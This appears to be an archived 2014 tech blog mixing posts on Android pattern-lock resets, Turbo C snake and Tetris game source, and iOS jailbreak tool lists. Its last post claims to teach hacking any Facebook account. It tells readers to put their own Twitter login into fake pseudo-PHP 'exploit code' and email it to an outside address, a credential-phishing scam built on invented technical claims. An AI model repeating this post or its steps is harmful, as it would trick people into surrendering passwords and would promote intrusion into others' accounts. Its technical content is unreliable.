Tuesday 11 November 2014



How To Unlock/Reset a Pattern Screen Lock on an Android Device

The built-in pattern lock tool is useful for adding an extra layer of security to your Android smartphone. What happen if you forgot your pattern and want to know how to unlock android phone or tablet? Pattern lock is very important for those who have sensitive data or have personal files in their android devices. This will help you to prevent your device from unauthorized use but the trouble starts when you forget it. This tutorial will show you how to unlock and reset your android device lock pattern if you have forgotten your lock pattern and can remember your Google/Gmail account.
How to Unlock Pattern Locks on Android Devices
Today many android phone user use the inbuilt unlock pattern to give security to their phones. This is very easy to use but some times after many wrong attempts it locked permanently after that you need to enter the user id you enter in the google play store to unlock phone but there is some problem to unlock again if u stop data usage in your device so it can’t be connected with internet and then you cannot unlock phone without this trick.

Unlock pattern without Google account:

In this tutorial will show you how to unlock and reset your android device lock pattern if you have forgotten your lock patter. Just follow these simple steps to unlock your phone and use again free of cost.
  • Just switch off you android phone and then wait for second to switched of it.
  • Now hold this buttons all together at the same time “Volume up + Home Key + Power Button” until the phone boots (if you device doesn’t have a home button just hold together volume up key and power key
  • Now a screen like DOS will come up with different options
  • Use the volume key to move up and down then scroll down to “Restore Factory Defaults” or “Delete all User Data” depending on which is on your device.
  • After clicking on the settings above, now scroll down to “Reboot System Now ” and wait for your phone to reboot.

Important: 
  • This method deletes all your data and apps.
  • In step 2 of this method we use three keys Volume up, power and home. But in some phones home is not available so you can press Volume up and down with power button. Here we are not going to tell you all combination of buttons for factory reset. So you can search for your specified android smartphone or tablet.

Use your Google account for unlocking

  • When you try different patterns and unable to unlock your phone in five attempts. Then a message pop-up and shows two buttons “next” and “try again”.
  • Now click on “next” button and you see two options for unlocking phone. One is answer the security question and the second option is to provide Google account details.
  • Mostly people don’t set a security question. But if you set it then simply answer the question and unlock your device quickly. Otherwise check the Google account option and click “next”.
  • Now provide your Google account username and password attached with your device and click on “sign in”.
  • After that you are directed to choose new pattern and now you can unlock with this pattern.
After following this guide tutorial now you can access your android device as the pattern lock has been completely disabled. This is all about how to unlock android phone or tablet if you forgot the pattern. Hope this helps you in unlocking your device.

Sunday 9 November 2014

                              Rattle snake source code
#include <graphics.h>
#include <stdlib.h>
#include <stdio.h>
#include <conio.h>
#include <dos.h>
#include <iostream.h>
#include <fstream.h>
#include <string.h>


void main(void)
{
   int gdriver = DETECT, gmode, errorcode;
   void
*body,*food,*tail1,*tail2,*tail3,*tail4,*head1,*head2,*head3,*head4;
   int x, y,X[5000],Y[5000],i=3,
maxx,maxy,speed=100,bo=10,t[10],score=0,hscore=20;
   unsigned int size;
   char a='6',b,scor[4],hs[4];
   int k=2,l,r1,r2,f=0,z=100,first=0,second=1;;
   r1=300;
   r2=350;

   ifstream infile("c:\tc\bin\rattle.txt");
   infile.getline(hs,4);
   infile.close();
   hscore = atoi(hs);



   /* initialize graphics and local variables */
   initgraph(&gdriver, &gmode, "c:\tc\bgi");

   /* read result of initialization */
   errorcode = graphresult();
   if (errorcode != grOk)  /* an error occurred */
   {
      printf("Graphics error: %s
", grapherrormsg(errorcode));
      printf("Press any key to halt:");
      getch();
      exit(1); /* terminate with an error code */
   }
   maxx = getmaxx();
   maxy = getmaxy();
   y = 160;
   x = 80;
   for(int j=0; j<=3; j++)
   {
    X[i-j]=x-bo*(j+1);
    Y[i-j]=y;

   }

   //body

   setfillstyle(1,2);
   bar(10,10,20,20);
   setcolor(0);
   setlinestyle(0,1,3);
   line(9,9,21,21);
   line(9,21,21,9);
   size = imagesize(10,10,20,20);
   body = malloc(size);
   getimage(10,10,20,20,body);
   cleardevice();

   setcolor(0);
   //tail1-right
   t[0]=20; t[1]=10;
   t[2]=10; t[3]=10;
   t[4]=20; t[5]=15;
   t[6]=10; t[7]=20;
   t[8]=20; t[9]=21;
   fillpoly(5, t);
   size = imagesize(10,10,20,21);
   tail1 = malloc(size);
   getimage(10,10,20,21,tail1);
   cleardevice();

   //tail2-left
   t[0]=10; t[1]=10;
   t[2]=20; t[3]=10;
   t[4]=10; t[5]=15;
   t[6]=20; t[7]=20;
   t[8]=10; t[9]=21;
   fillpoly(5, t);
   size = imagesize(10,10,20,21);
   tail2 = malloc(size);
   getimage(10,10,20,21,tail2);
   cleardevice();

   //tail3-up
   t[0]=10; t[1]=20;
   t[2]=10; t[3]=10;
   t[4]=15; t[5]=20;
   t[6]=20; t[7]=10;
   t[8]=20; t[9]=21;
   fillpoly(5, t);
   size = imagesize(10,10,20,21);
   tail3 = malloc(size);
   getimage(10,10,20,21,tail3);
   cleardevice();

   //tail4-down
   t[0]=10; t[1]=10;
   t[2]=10; t[3]=21;
   t[4]=15; t[5]=10;
   t[6]=20; t[7]=21;
   t[8]=20; t[9]=10;
   fillpoly(5, t);
   size = imagesize(10,10,20,21);
   tail4 = malloc(size);
   getimage(10,10,20,21,tail4);
   cleardevice();

   //head1-right
   setlinestyle(1,1,1);
   setcolor(2);
   fillellipse(10,10,10,5);
   setcolor(4);
   //eyes
   fillellipse(15,7,1,1);
   fillellipse(15,13,1,1);
   size = imagesize(10,5,20,15);
   head1 = malloc(size);
   getimage(10,5,20,15,head1);

   //head2-left
   //eyes
   fillellipse(5,7,1,1);
   fillellipse(5,13,1,1);
   size = imagesize(0,5,10,15);
   head2 = malloc(size);
   getimage(0,5,10,15,head2);
   cleardevice();

   //head3-up
   //eyes
   setcolor(2);
   fillellipse(12,12,5,10);
   setcolor(4);
   fillellipse(9,6,1,1);
   fillellipse(15,6,1,1);
   size = imagesize(7,2,18,12);
   head3 = malloc(size);
   getimage(7,2,18,12,head3);


   //head4-down
   //eyes
   fillellipse(9,17,1,1);
   fillellipse(15,17,1,1);
   size = imagesize(7,12,18,22);
   head4 = malloc(size);
   getimage(7,12,18,22,head4);
   cleardevice();


   //food
   setcolor(15);
   setfillstyle(1,15);
   fillellipse(10,10,3,5);
   size = imagesize(5,3,15,17);
   food = malloc(size);
   getimage(5,3,15,17,food);
   cleardevice();

    /* repeat until a key is pressed */

   maxx=getmaxx();
   maxy=getmaxy();
   setlinestyle(0,1,3);
   setcolor(9);
   rectangle(0,0,maxx,maxy);
   setlinestyle(0,1,2);
   line(maxx-150,0,maxx-150,maxy);
   setcolor(8);
   setfillstyle(1,8);
   bar(maxx-147,3,maxx-3,63);
   setcolor(12);
   int maze=1;
   if(maze==1)
   {
   setfillstyle(1,6);
   bar(4,4,maxx-154,14);
   bar(4,4,14,maxy-4);
   bar(4,maxy-4,maxx-154,maxy-14);
   bar(maxx-154-10,4,maxx-154,maxy-4);
   }


   settextstyle(0,0,1);
   delay(300);
   outtextxy(maxx-125,30,"RATTLE SNAKE");
   delay(300);
   setcolor(11);
   setlinestyle(0,1,2);
   rectangle(maxx-145,65,maxx-5,205);
   outtextxy(maxx-128,70,"INSTRUCTIONS");
   delay(200);
   setcolor(6);
   outtextxy(maxx-140,90,"Commands     Key");
   delay(300);
   setcolor(8);
   outtextxy(maxx-140,110," Move Up      8");
   delay(50);
   outtextxy(maxx-140,130," Move Down    5");
    delay(50);
   outtextxy(maxx-140,150," Move Right   6");
    delay(50);
   outtextxy(maxx-140,170," Move Left    4");
    delay(50);
   outtextxy(maxx-140,190," Exit         0");
   delay(200);
   setcolor(12);
   setlinestyle(0,1,2);
   rectangle(maxx-145,210,maxx-5,350);
   setcolor(1);
   outtextxy(maxx-130,220,"Player's Name");
   setcolor(15);
   outtextxy(maxx-100,230,"hiral");
   setcolor(4);
   delay(200);
   itoa(score,scor,10);
   outtextxy(maxx-140,250,"Score");
   outtextxy(maxx-50,250,scor);
   delay(200);
   setcolor(10);
   outtextxy(maxx-140,280,"Level");
   delay(200);
   setcolor(13);
   outtextxy(maxx-140,310,"Maze        1");
   delay(200);
   setcolor(14);
   outtextxy(maxx-140,340,"High Score  ");
   outtextxy(maxx-50,340,hs);

   for(j=0; j<=1000; j++)
   {
    putpixel(random(maxx-150),random(maxy),6);
    delay(1);
   }

   while (a!='0')
   {

       // plot new image
      if(a=='6')
        putimage(x, y, head1, XOR_PUT);
      if(a=='4')
        putimage(x, y, head2, XOR_PUT);
      if(a=='8')
        putimage(x, y, head3, XOR_PUT);
      if(a=='5')
        putimage(x, y, head4, XOR_PUT);

      for(j=0; j<k; j++)
      {
       putimage(X[i-j], Y[i-j], body, XOR_PUT);
      }

      if((X[i-j-1]-X[i-j])<0  && (Y[i-j-1]-Y[i-j])==0)
        putimage(X[i-j], Y[i-j], tail1, XOR_PUT);

      if((X[i-j-1]-X[i-j])>0  && (Y[i-j-1]-Y[i-j])==0)
        putimage(X[i-j], Y[i-j], tail2, XOR_PUT);

      if((X[i-j-1]-X[i-j])==0  && (Y[i-j-1]-Y[i-j])<0)
        putimage(X[i-j], Y[i-j], tail3, XOR_PUT);

      if((X[i-j-1]-X[i-j])==0  && (Y[i-j-1]-Y[i-j])>0)
        putimage(X[i-j], Y[i-j], tail4, XOR_PUT);

      delay(speed);

      if(second==1)
      {
    setcolor(15);
    outtextxy(maxx-140,360,"Press Any Key...");
    getch();
    setcolor(0);
    outtextxy(maxx-140,360,"Press Any Key...");
    a='6';

    second=2;
      }


      if(first==1)
      {
    setcolor(15);
    outtextxy(maxx-140,360,"Congratulations  ");
    sound(100);
    delay(300);
    nosound();
    getch();
    setcolor(0);
    outtextxy(maxx-140,360,"Congratulations  ");
    second++;
    first=2;

      }

    // erase old image
      if(a=='6')
        putimage(x, y, head1, XOR_PUT);
      if(a=='4')
        putimage(x, y, head2, XOR_PUT);
      if(a=='8')
        putimage(x, y, head3, XOR_PUT);
      if(a=='5')
        putimage(x, y, head4, XOR_PUT);


      for(j=0; j<k; j++)
      {
       putimage(X[i-j], Y[i-j], body, XOR_PUT);

      }

      if((X[i-j-1]-X[i-j])<0  && (Y[i-j-1]-Y[i-j])==0)
        putimage(X[i-j], Y[i-j], tail1, XOR_PUT);

      if((X[i-j-1]-X[i-j])>0  && (Y[i-j-1]-Y[i-j])==0)
        putimage(X[i-j], Y[i-j], tail2, XOR_PUT);

      if((X[i-j-1]-X[i-j])==0  && (Y[i-j-1]-Y[i-j])<0)
        putimage(X[i-j], Y[i-j], tail3, XOR_PUT);

      if((X[i-j-1]-X[i-j])==0  && (Y[i-j-1]-Y[i-j])>0)
        putimage(X[i-j], Y[i-j], tail4, XOR_PUT);


      if(f==0)
      {
    putimage(r1,r2,food,XOR_PUT);
    f=1;
      }

      z--;
      if((x>=r1 && y>=r2 && x<=r1+10 && y<=r2+10) || (x<=r1 && y<=r2 &&
x>=r1-10 && y>=r2-10) || z==0)
      {
    if(z!=0)
    {
        sound(800);
        delay(20);
        setcolor(0);
        score += 10;
        outtextxy(maxx-50,250,scor);
        itoa(score,scor,10);
        if(score>hscore)
        {
            strcpy(hs,scor);
            setfillstyle(1,1);
            bar(maxx-140,337,maxx-20,348);
            setcolor(14);
            outtextxy(maxx-50,340,hs);
            outtextxy(maxx-140,340,"High Score  ");
            if(first==0)
            {
            first=1;
            }
        }
        setcolor(4);
        outtextxy(maxx-50,250,scor);
        k++;
    nosound();
    }
    z=100;
    putimage(r1,r2,food,XOR_PUT);
    repr1:
    r1=random(450);
        if(r1<50)
           goto repr1;
    repr2:
    r2=random(400);
        if(r2<50)
        goto repr2;

    f=0;
      }


      i++;
      X[i]=x;
      Y[i]=y;

      b=a;
      if(kbhit())
      {
        rep:
        a=getche();

        if((b=='6' && a=='4') || (b=='4' && a=='6'))
            a=b;

        if((b=='8' && a=='5') || (b=='5' && a=='8'))
            a=b;

        if(a!='6' && a!='4' && a!='8' && a!='0' && a!='5')
            a=b;
      }

 /*     if(x>maxx-170)
    x=0;

      if(y>maxy)
    y=0;*/

      if(a=='8')
    y -= bo;

      if(a=='5')
    y += bo;

      if(a=='4')
    x -= bo;

      if(a=='6')
    x += bo;

      for(j=i+1; j<i-k; j--)
      {
    if((Y[i]>=Y[j] && Y[i]<=Y[j]+10) || (Y[i]<=Y[j] && Y[i]>=X[j]-10))
    {
        if((X[i]>=X[j] && X[i]<=X[j]+10) || (X[i]<=X[j] && X[i]>=X[j]-10))
        {
            a='0';
        }

         outtextxy(maxx-140,360,"C ");


    }

    if((X[i]>=X[j] && X[i]<=X[j]+10) || (X[i]<=X[j] && X[i]>=X[j]-10))
    {
        if((Y[i]>=Y[j] && Y[i]<=Y[j]+10) || (Y[i]<=Y[j] && Y[i]>=X[j]-10))
        {
            a='0';
        }

            outtextxy(maxx-140,360,"C  ");
    }

       }

/*      for(j=i; j<i-k; j--)
      {
    if((y>=Y[j] && y<=Y[j]+10) || (y<=Y[j] && y>=Y[j]-10))
    {
        if((x>=X[j] && x<=X[j]+10) || (x<=X[j] && x>=X[j]-10))
        {
            a='5';
        }
    }

    if((x>=X[j] && x<=X[j]+10) || (x<=X[j] && x>=X[j]-10))
    {
        if((y>=Y[j] && y<=Y[j]+10) || (y<=Y[j] && y>=Y[j]-10))
        {
            a='5';
        }
    }
    if(j==0)
        break;
      }      */


  /*    if(x<=0)
    x=maxx-170;

    if(y<=0)
    y=maxy;*/

    if(maze==1)
    {
        if(x<=14 || x>=maxx-184 || y<=14 || y>=maxy-14)
        {
           a='0';
        }
    }

   }

   if(score>hscore)
   {
    ofstream onfile("c:\tc\bin\rattle.txt");
    onfile<<scor;
    onfile.close();
   }

   setcolor(15);
   outtextxy(maxx-140,390,"    Gameover");
   sound(100);
   delay(400);
   nosound();
   getch();
   /* clean up */
   free(body);
   closegraph();

}

                     Tetires source code to compile

#include <graphics.h>
#include <dos.h>
#include <stdlib.h>
#include <stdio.h>
#include <conio.h>
#include <bios.h>
#include <string.h>
#include <process.h>

#define DELAYS 10
#define INTR 0X1C

#ifdef __cplusplus
    #define __CPPARGS ...
#else
    #define __CPPARGS
#endif

void interrupt (*oldhandler)(__CPPARGS);

int loop=0;

void interrupt handler(__CPPARGS)
   {
   disable(); loop++;
   enable();  oldhandler();
   }
#define LCLICK 1
#define RCLICK 2
#define SPECIAL_KEY bioskey

#define RIGHT_ARROW 0x4d00
#define LEFT_ARROW 0x4b00
#define UP_ARROW 0x4800
#define DOWN_ARROW 0x5000
#define ESC 0x11b
#define ENTER 0x1c0d
#define BACKSPACE 0xe08
#define SPACEBAR 0x3920
#define F1 0x3b00
#define F2 0x3c00
#define F3 0x3d00
#define F4 0x3e00
#define F5 0x3f00
#define F6 0x4000

/////////////********* Declaration For Mouse Control **************///////////
class mouseobj{
    public:
       void init();
       void show();
       void hide();
       int  post(int,int,int,int);
       int  press();
       void vert_limit(int,int);
       void horiz_limit(int,int);
          };

void mouseobj::init(){ asm {mov ax,0x00; int 0x33 } }
void mouseobj::show(){ asm {mov ax,0x01; int 0x33 } }
void mouseobj::hide(){ asm {mov ax,0x02; int 0x33 } }
void mouseobj::horiz_limit( int minx, int maxx ) {
    union REGS inregs,outregs;
    inregs.x.ax = 7;
    inregs.x.cx = minx;
    inregs.x.dx = maxx;
    int86(0x33,&inregs,&outregs);
        }

void mouseobj::vert_limit( int miny, int maxy ){
    union REGS inregs,outregs;
    inregs.x.ax = 8;
    inregs.x.cx = miny;
    inregs.x.dx = maxy;
    int86(0x33,&inregs,&outregs);
        }

int mouseobj::post(int left,int top,int right,int buttom)
    { union REGS inregs,outregs;
      inregs.x.ax=3;
      int86(0x33,&inregs,&outregs);
      return(outregs.x.cx>=left && outregs.x.cx<=right &&
         outregs.x.dx>=top && outregs.x.dx<=buttom);
    }
int mouseobj::press(){
      union REGS inregs,outregs;
      inregs.x.ax=3;
      int86(0x33,&inregs,&outregs);
      return(outregs.x.bx);
              }

/*************************************************/

char buf[80];
/*Class Interface (Base Class)*/
class interf {
    protected:
       int maxx,maxy;
    public:
       void shadow_outtext( int, int, char *, int, int, int);
       void thin_box( int, int, int, int, int, int, int);
       void sizable_box( int, int, int, int, int, int, int, int);
       void quit_box( int, int, int, int);
       char box_exit();
       void interface();
         };
/*Class Derive*/
class gameobj:public interf{
    private:
      int x,y,color;
      int i,j;
    public:
     int stage,stage_h;
     gameobj(int,int);
     void caro(int,int,int);
     void show_text();
     void make_caro(int,int,int,int);
     void fullclear(int cross[][45],int);
     void show_score(long);
     void show_next(int *);
     int not_miny(int,int,int,int cross[][45]);
     int chang_stage(int *,int chang);
     void show_stage(int *,long,int);
     void show_stage_h(int);
     int  win();
     void lost();
     };

void interf::thin_box(int x,int y,int x1,int y1,int width,int color,int color1)
     { for(int i=0;i<width;i++)
        { setcolor(color); line(x+i,y+i,x+i,y1-i);
                   line(x+i,y+i,x1-i,y+i);
          setcolor(color1);line(x+i,y1-i,x1-i,y1-i);
                   line(x1-i,y+i,x1-i,y1-i); }
     }

void interf::sizable_box(int x,int y,int x1,int y1,int width,int thick,int color,int color1){
    thin_box(x, y, x1, y1, width, color, color1);
    thin_box(x+thick, y+thick, x1-thick, y1-thick, width, color1, color);
        }

void interf::shadow_outtext(int x,int y,char *str,int color,
            int sh_color,int shadow){
    setcolor(color);outtextxy(x-shadow,y-shadow,str);
    setcolor(sh_color);outtextxy(x,y,str);
        }

void interf::quit_box(int x,int y,int z,int w){
    thin_box(x,y,z,w,2,15,8);
    setfillstyle(1,7); bar(x+2,y+2,z-2,w-2);
    settextstyle(0,0,1);
    setcolor(0); outtextxy(x+4,y+3,"x");
           }

char interf::box_exit(){
    sizable_box(maxx/2-150,maxy/2-60,maxx/2+150,maxy/2+60,1,1,15,8);
    thin_box(maxx/2-95,maxy/2+20,maxx/2-30,maxy/2+50,1,15,8);
    thin_box(maxx/2+20,maxy/2+20,maxx/2+90,maxy/2+50,1,15,8);
    setcolor(0);
    setusercharsize(2,5,2,5);
    settextstyle(installuserfont("kh02.chr"),HORIZ_DIR,USER_CHAR_SIZE);
    outtextxy(maxx/2+30,maxy/2+18,"Qb;elg");
    outtextxy(maxx/2-85,maxy/2+18,"elgeTot");
    class mouseobj mouse;
    mouse.init();
    while(1){
       mouse.show();
       mouse.horiz_limit(maxx/2-150,maxx/2+150);
       mouse.vert_limit(maxy/2-60,maxy/2+60);
       if(mouse.post(maxx/2-95,maxy/2+20,maxx/2-30,maxy/2+50)){
        if(mouse.press()==LCLICK){
          while(mouse.press()==LCLICK)
            thin_box(maxx/2-95,maxy/2+20,maxx/2-30,maxy/2+50,1,8,15);
          mouse.hide();
          thin_box(maxx/2-95,maxy/2+20,maxx/2-30,maxy/2+50,1,15,8);
          if(mouse.post(maxx/2-95,maxy/2+20,maxx/2-30,maxy/2+50)) return('y');
            }}
       if(mouse.post(maxx/2+20,maxy/2+20,maxx/2+90,maxy/2+50)){
        if(mouse.press()==LCLICK){
          while(mouse.press()==LCLICK)
            thin_box(maxx/2+20,maxy/2+20,maxx/2+90,maxy/2+50,1,8,15);
          mouse.hide();
          thin_box(maxx/2+20,maxy/2+20,maxx/2+90,maxy/2+50,1,15,8);
          if(mouse.post(maxx/2+20,maxy/2+20,maxx/2+90,maxy/2+50)) return('n');
        }}
        }
        }

void interf::interface(){
    setfillstyle(1,3); bar(0,0,maxx,maxy);
    for(int i=0;i<8;i++) thin_box(1,maxy-20+3*i,maxx-1,maxy-21+3*i,1,15,8);
    for(i=0;i<9;i++) thin_box(1,17-2*i,maxx-1,16-2*i,1,15,8);
    thin_box(180,maxy-23,181,18,1,15,8);
    thin_box(182,maxy-23,183,18,1,15,8);
    setfillstyle(1,0); bar(30,270,150,300);
    bar(30,150,150,220);
    thin_box(30,150,150,220,2,8,15);
    thin_box(30,270,150,300,2,8,15);
    bar(maxx/2-77,50,maxx/2+77,maxy-55);
    thin_box(maxx/2-77,50,maxx/2+77,maxy-55,2,8,15);
    }

gameobj::gameobj(int xIn,int yIn){
    maxx=xIn;
    maxy=yIn;
    stage = stage_h = 1;
    }

void gameobj::caro(int x,int y,int color){
    setfillstyle(1,color);
    bar(maxx/2-75+10*x,60+10*y,maxx/2-67+10*x,52+10*y);
    color?thin_box(maxx/2-74+10*x,60+10*y,maxx/2-66+10*x,52+10*y,1,15,8):
          thin_box(maxx/2-74+10*x,60+10*y,maxx/2-66+10*x,52+10*y,1,0,0);
    }

void gameobj::make_caro(int CARO,int cx,int cy,int col){
    x = cx; y = cy; color = col;
    setfillstyle(1,color);
       if((CARO>=0&&CARO<4)||(CARO>4&&CARO<=7)||
       CARO==10||CARO==11||(CARO>12&&CARO<16)||
      (CARO>17&&CARO<21)||CARO==22||CARO==23||
      (CARO>=25&&CARO<=31))
        caro(x,y,color);
       if(CARO==1||CARO==3||(CARO>=6&&CARO<=9)||CARO==11||
      CARO==12||(CARO>=14&&CARO<=17)||(CARO>=19&&CARO<=22)||
      CARO==24||(CARO>=26&&CARO<=28))
        caro(x+1,y,color);
       if(CARO==1||CARO==4||CARO==6||CARO==11||
      CARO==15||CARO==24||CARO==25||CARO==27)
        caro(x+2,y,color);
       if(CARO==1)
         {     caro(x+3,y,color);
        caro(x+4,y,color); }
       if((CARO>=2&&CARO<=6)||(CARO>=8&&CARO<=10)||
      (CARO>11&&CARO<15)||(CARO>=17&&CARO<=19)||
       CARO==21||(CARO>=23&&CARO<=27)||CARO==29||CARO==30)
        caro(x,y-1,color);
       if(CARO==2||CARO==5||CARO==10||CARO==14||CARO==16||
      CARO==21||CARO==26||CARO==28||CARO==29)
        caro(x,y-2,color);
       if(CARO==2)
         {    caro(x,y-3,color);
        caro(x,y-4,color); }
       if(CARO==3||CARO==4||(CARO>=7&&CARO<=13)||
     (CARO>=16&&CARO<=18)||(CARO>=20&&CARO<=25)
     ||CARO==28)
        caro(x+1,y-1,color);
       if(CARO==4||CARO==8||CARO==9||CARO==13||
      CARO==15||CARO==22||CARO==25||CARO==27)
        caro(x+2,y-1,color);
       if(CARO==5||CARO==7||CARO==8||CARO==12||
      CARO==16||CARO==23||CARO==26||CARO==28)
        caro(x+1,y-2,color);

Thursday 16 October 2014

how to remove pattern lock htc desire.......
power+volume+-volume- together then press volume down button

Wednesday 27 August 2014

How to Reset Sony Xperia S LT26i)


5130c contact service solution successfully Cyclone Box by teddy


All jailbreak tool by teddy

Redsn0w/Evasi0nSn0wBreezePwnageToolGreenPois0n/Absinthe
Evasi0n7 1.0.6 (iOS 7) MAC / WINDOWS


0.9.15b3 (6.1.3) MAC / WINDOWS


Evasi0n (6.0-6.1.2): MAC/WINDOWS / LINUX


Most Used Versions


0.9.15b2 [For iOS 6] MAC / WINDOWS


0.9.14b1 [For iOS 5.1.1] MAC / WINDOWS


Other


0.9.13dev4 [For iOS 6] MAC / WINDOWS


0.9.13dev3MAC / WINDOWS


0.9.14b2 MAC / WINDOWS


0.9.13dev2 MAC / WINDOWS


0.9.13dev1 MAC / WINDOWS


0.9.12b1 MAC / WINDOWS


0.9.10b8b MAC / WINDOWS


0.9.10b8 MAC / WINDOWS


0.9.10b6 MAC / WINDOWS


0.9.10b5 MAC / WINDOWS


0.9.10b4 MAC / WINDOWS


0.9.10b3 Mac / PC


0.9.9b9 Mac / PC


0.9.8b8 MAC / WINDOWS


0.9.9b5 MAC


0.9.9b4 MAC / WINDOWS


0.9.9b3 MAC / WINDOWS


0.9.9b1 MAC / WINDOWS


0.9.8b7 MAC / WINDOWS


0.9.8b6 MAC / WINDOWS


0.9.8b5 MAC / WINDOWS2.9.7

0.9.8b4 MAC / WINDOWS2.9
Absinthe 2.0.4 MAC / WINDOWS
0.9.8b3 MAC / WINDOWS2.8b7
Absinthe 2.0.2 MAC / WINDOWS
0.9.8b2 MAC / WINDOWS2.8b65.0.1Absinthe 2.0.1 MAC / WINDOWS
0.9.8b1 MAC / WINDOWS2.7.34.3.3.1Absinth 0.4 MAC / WINDOWS
Linux
0.9.6rc16 MAC / WINDOWS2.74.3.3Absinth 0.3 MAC / WINDOWS
Linux
0.9.6rc15 MAC/WINDOWS2.6.14.3.2Absinth 0.1.2 MAC / WINDOWS
0.9.6rc14 MAC/WINDOWS2.5.14.3RC6.1Mac/Windows

Jailbreaking Tools · Cydia

Untethered jailbreak for 7.1 through 7.1.2 on iPhone 5S, iPhone 5C, iPhone 5, iPhone 4S, iPhone 4, iPad mini 2nd generation, iPad mini 1st generation, iPad Air ...

Jailbreak Download Center - evasi0n - redsn0w - Absinthe ...

Download any jailbreak tool - evasi0n - sn0wbreeze - redsn0w - greenpois0n - iFaith - jailbreak any iPhone iPod iPad Apple TV.

Facebook Hack: How to See the Album of Any Private User

Egundaworld | Hacking | Hacks | Virus removal | Tips | Ebooks | Troubleshooting: Hack Windows Vista Activation

Trick to use Google voice service from outside US.by teddy

How to safley remove mabezat and tazabama worms

mabezat.dl and tazebama.dll are both known worms infect your computer...if u r troubled with such malwares here is the best way to remove safley from your computer...

How To Hack Any FaceBook Account Using A Web Based Exploit

Do you want to learn how to hack facebook?, Are you looking for a way to hack your friends facebook account without them fiding out? Interested in finding out ways to hack someones profile? Maybe you want to take a quick peek at their message inbox or use a glitch to use a hacking script. In this article I will show you a fairly easy step by step guide on how to hack facebook user accounts without having to directly hack into facebook and risk getting caught. Ignore all those hacking services, facebook hacks and hackers that charge you money for something you can do on your own for free. Hack the password of any of your friends accounts and get their password even as a prank or joke. Hack facebook, hacking facebook passwords from user accounts and find out someones facebook password...Is any of it really possible? Yes it is, thanks to Twitter!. By now, you have probably heard the rumors of how unsafe Facebook is with a few celebrities having had their accounts hacked. You may also have seen Twitter allows you to synchronize your tweets with Facebook status updates so whatever you tweet appears as a Facebook status update. In providing this service, Facebook has created many vulnerabilities for itself by allowing a third party (Twitter) to access their database. This problem is due to Facebooks API service which permits exterior websites or applications (like FarmVille) to modify or post stuff on your profile. A couple of month's ago I wanted to check my old FaceBook account but forgot what email and password I had used to sign up, I sent an email to their technical support but they didn't reply so I decided to put my geek skills to good use and find a way to get my login information back by writing a facebook account hacking code or exploit as they are called. HOW HACKING FACEBOOK ACCOUNTS WORKS Facebook has two databases (one for males and one for females users) where they keep all the information from their users, if you remember the email you use to login but forget your password, you can use the 'Forgot your password?' option, however if like me you don't have any of that information it's impossible to legally recover that account. If you know anything about programming websites you know the 'Forgot your password?' service has to be in direct contact with the databases in order to send requests to retrieve the forgotten information for you, basically what that means is if you 'ask' the database for the login information with the right 'code' (in our case exploit), it will send you back that information. So all I had to figure out is what the code was and what system they used to contact the databases through the 'Forgot your password?' service, after a few weeks of writing and testing codes I came up with the right one for the job and after doing a bit of research I learned FaceBook uses something similar to an email service to contact their databases. For security reasons the databases are programmed to verify the account your requesting is actually yours and not someone elses so they need some type of authentication or verification (thats why they send you a verification link to your email when creating your account or changing your password). Luckily for us, as mentioned above, through the use of Twitter combined with Facebooks 'Mutual Friend' feature, we can use a friends account to verify your own, in other words, if the person you want to get the login information from is on your friends list on Facebook...you can use your Twitter account to verify your their friend on Facebook taking advantage of the vulnerability of the twitter status sync exploit, and get their login email and password sent to you. But the victim must be on your friends list on Facebook. HOW TO DO IT 1) First off you will need to get your user id and the victims user id, how do you do this? Go to the victims profile, then click on their Display Picture (not the "View Photos of ..." link or tab but the actual main picture of their profile) and look at your browsers address bar, at the end of all the address you should see a group of numbers that should you should look something like this: (I have used a red arrow to point them out) Don't worry if it isn't exactly like that (sometimes it has variations like; 'album.php?profile=10957800008') just as long as you get the numbers. Write them down somewhere as you will need to use it a bit further down, once that is done you may continue to step 2. 2) At the bottom of this page I have pasted the exploit code I created to fool the databases, this is the tricky part as you will have to edit the code a bit yourself so that it fits your needs when searching for the victims login information. Scroll down to the bottom of this page and find the code I have highlighted in gray so you know what to copy, select the code and copy it to your clipboard (press CTRL+C) then paste it (CTRL+V) on a notepad or text document so you can edit it. 3) Once you have the code somewhere you can edit it, you will need to insert three things into it, the facebook user id of the victim and the twitter friend authentication information. I will give you step by step examples by trying the exploit code on my friend Laura's account as the victim, see what parts you have to edit and with what: 1. Should be the victims user id. 2. Should be your twitter login Username (I put my email in the screencap example above for privacy reasons) to verify your the victims mutual friend on facebook. Make sure your facebook email was the same used to sign up to Twitter so the exploit script can automatically connect both accounts. 3. Should be your twitter password so the database can authentic you really are friends with the victim on facebook. When editing the code, don't accidentally delete one of the quotes (") or it won't work, so make sure you put the information inside them. 4) Now that you have the exploit code edited and ready to send, we are all set to send it to the database through an email, since it's not your regular email but an exploit email we will have to use a special Subject so the database knows how to read it in programming language. Go to your email address and Compose a new email to fbsupport@techie.com which is their customer service email for forgotten passwords, in the Subject copy and paste the code below highlighted in gray: $[search_database = $find user+id= "123456789", '%verification+user+bday' = }"01/01/1900"{ begin_search(); Once you have edited the Subject and entered the email address, your Composed email should look like the screenshot below, I will numerate each item: 1. The email address of the facebook database's forgotten password customer service. 2. This is where you insert the victims facebook user id. 3. This is where you insert your birthday so the database can find you to verify your a friend of the victim (it arranges users in the database based on your date of birth), NOTE: It MUST be in the MONTH/DAY/YEAR format so it can read it properly. 5) After you have correctly written the To: and Subject sections, you may proceed to insert the exploit code you previously edited in step 3 into the body section of the email.Now all you have to do is click Send and wait for the database to send you back it's reply with the information. It should take from 12-24 hours depending on the traffic FaceBook has that day, this is a sample of the email response you'll receive: THE EXPLOIT CODE fb_select_db("find", $linkID) or die(fbdatabase_error()); $resultID = fb_query("SELECT FriendID FROM signup WHERE email = '$email'", $linkID) or die(fbdatabase_error()); $num_rows = db_num_rows($resultID); $row = facebook_fetch_array($resultID); $user_id = $row[0]; if ($user_id == "PUTUSERIDHERE") = '$repeat' { print Success, We have sent you an email with the Login email and Password of that ID. } else { // print "We're sorry, your friend ID does not appear to be in our database." $passwordfromdb = $row[0]; $find userID = (%friend_list) #forgot_pass_userid = "%repeat%"; <%search_database_for_id%> #user email= "PUTEMAILHERE"; (%friend_vulnerability_email%) #user password = "PUTPASSWORDHERE"; (%friend_vulnerability_pass%) $friend_database_exploit = '%request_forgot_pass_info' $email_to = %%%@subject_email session_start(); session_reset_pass("session"); $email_address = $_POST['email_address']; if (!isset($_POST['email_address'])) { } elseif (empty($email_address)) { echo $empty_fields_message; function decrypt userID password() { $salt = 